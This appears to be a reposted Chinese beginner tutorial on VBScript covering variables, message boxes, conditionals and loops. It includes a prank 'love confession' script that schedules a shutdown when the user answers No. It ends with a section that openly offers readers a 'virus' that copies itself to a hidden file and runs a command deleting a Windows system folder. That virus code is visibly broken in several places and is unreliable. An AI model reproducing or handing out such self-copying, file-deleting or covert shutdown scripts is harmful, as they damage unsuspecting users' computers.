VBS 腳本語言概述

VBS 是一種 Windows 腳本語言，全稱是 Microsoft Visual Basic Script Editon（微軟公司可視化 BASIC 腳本版）。

VBS 是系統內置的，用它編寫的腳本不用編譯成二進制文件，直接就由 Windows 系統宿主 host 解釋源代碼并執行。

他不需要特定的編譯環境，任意的文本編輯器都可以進行編寫，初學者用 Windows 自帶的“記事本（Notepad）”就可以進行編寫和執行，如果想深入學習的話，還是建議用專業的編輯器，支持代碼高亮的，更方便一些， Notepad++ 就挺不錯。

VBS 變量基本定義

對于任何一個編程語言，我們首先關心的是如何定義一個變量。在Visual Basic Script 中，定義一個變量的正規模式是：dim 變量名

當然，如果你不定義變量而是直接使用也是沒有任何問題的，就像Python那樣，可以不用聲明而直接使用，但是我們在這里還是建議遵循一下變量的先聲明，后使用的原則。

dim a, b
a = 10
b = 5
msgbox a + b

這里的 msgbox 是一個vbs中的關鍵字，基本作用是彈出一個彈框，顯示你想要顯示的信息，msgbox 可以顯示各種類型的變量。

變量的類型與其他語言基本上都是一樣的，比如：字符串、整型數、浮點型數、布爾型數字（True 和 False），但是，我們在這里不需要指明某一個變量具體是哪一種類型的變量，編譯器是會直接自己識別變量的類型的。

VBS 判斷語句

接下來，我們首先介紹一下判斷語句，然后再去看看循環語句，顯示判斷語句。如果你接觸過其他的編程語言，你一定對判斷語句一點都不陌生，在 vbs 中也是同樣的，語法也就是 if，else，else if 等等。具體的書寫略有不同啦，例如下述的代碼：

dim str
str = msgbox("Do you love me?", vbYesNo, "LOVE")
if str = vbYes thenmsgbox "I love you too, I think we will be happy!"
elsemsgbox "I will close your computer!"set sh = wscript.createobject("wscript.shell")sh.run "shutdown -s -t 300"
end if

sh.run “shutdown -s -t 300” 執行自動關機 300 秒后

如何進行阻止自動關機的代碼：

Set ws = WScript.CreateObject("Wscript.Shell") 
ws.Run "shutdown -a"

VBS 循環語句

循環語句基本語法：

For...Next 語句運行一段語句指定的次數
For Each...Next 語句針對集合中的每個項目或者數組中的每個元素來運行某段語句。
Do...Loop 語句運行循環，當條件為 true 或者直到條件為 true 時。

循環語句基本案例：

Dim Count:Count = 5  '定義一個變量
Do Until Count = 0  '直到Count 變量為 0 時，否則一直循環MsgBox CountCount = Count -1
Loop
MsgBox "循環結束"

Dim Count:Count = 5  '定義一個變量
DoMsgBox CountCount = Count -1
Loop Until Count = 0  '直到Count變量為 0 時，否則一直循環
MsgBox "循環結束"

就比如：

dim str
do until str = "yes"msgbox "do you love me ?"str = inputbox("yes or no", "ANSWER", "yes")
loop

運行結果：

VBS 程序案例

對于任何一個編程語言，我們首先關心的是如何定義一個變量

在Visual Basic Script 中，定義一個變量的正規模式是：dim 變量名

這里的 msgbox 是一個vbs中的關鍵字，作用是彈出一個彈框，顯示你想要顯示的信息

msgbox 可以顯示各種類型的變量。

在vbs中，變量的類型與其他語言基本上都是一樣的，比如：字符串、整型數、浮點型數、布爾型數字（True 和 False），但是，我們在這里不需要指明某一個變量具體是哪一種類型的變量，編譯器是會直接自己識別變量的類型的。

在 vbs 中，想要輸入是需要首先彈出來一個彈框，然后進行輸入的。

例如下述代碼：

dim str-
str = inputbox("please input your name here","Title","default value")
msgbox str

在這里的輸出方式其實我們已經在前文中使用了很多次了，就是上述的那個 msgbox 關鍵字，它的作用就是彈出一個彈框，然后顯示出你想要顯示的信息

比如：我們在第一個例子中輸出的數字 30， 以及我們在第二個例子中所顯示的字符串： “喚醒手腕哈哈哈”，總之就是由 msgbox 這個彈框進行顯示信息，相當于 C++ 中的 cout，也相當于是 Python 中的 print 等等，是一個輸出，只是與其他語言的輸出方式不太一樣罷了。

案例 2：打開 cmd 窗口

Set WshShell = createobject("wscript.shell")
WshShell.run "cmd"

VBS 編寫系統病毒

底下是我編的病毒，有人想要的可以拿去，但是，千萬不要拿來做壞事，可能會你的同學們挨揍。

dim fso,copy,wshshell,Const Hidden
set fso = createobject(“scripting.filesystemobject”)
set copy = fso.getfile(wscript.scriptfullname)
copy.fso("c:\users\computer virus.vbs") 
'復制自身到c:\users\ 復制體叫做computer virus.vbs
Const Hidden = 2
Set hide = fso.GetFile("c:\users\computer virus.vbs") 
'隱藏復制體
hide.Attributes = f.Attributes Or Hidden
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd/c del c:\Windows\system" 
'太狠了,刪除系統文件夾,刪了系統報廢!只能在虛擬機里測試。
'不得破壞被人電腦!(當然,殺毒軟件應該都會報毒)cmd/c … 也就是使用cmd執行某某命令。
'你可以在命令提示符里輸入del/?查看幫助.

總結

以上是生活随笔為你收集整理的程序员表白、恶搞代码 VBS 系统内置脚本语言详细教程（新手篇）的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。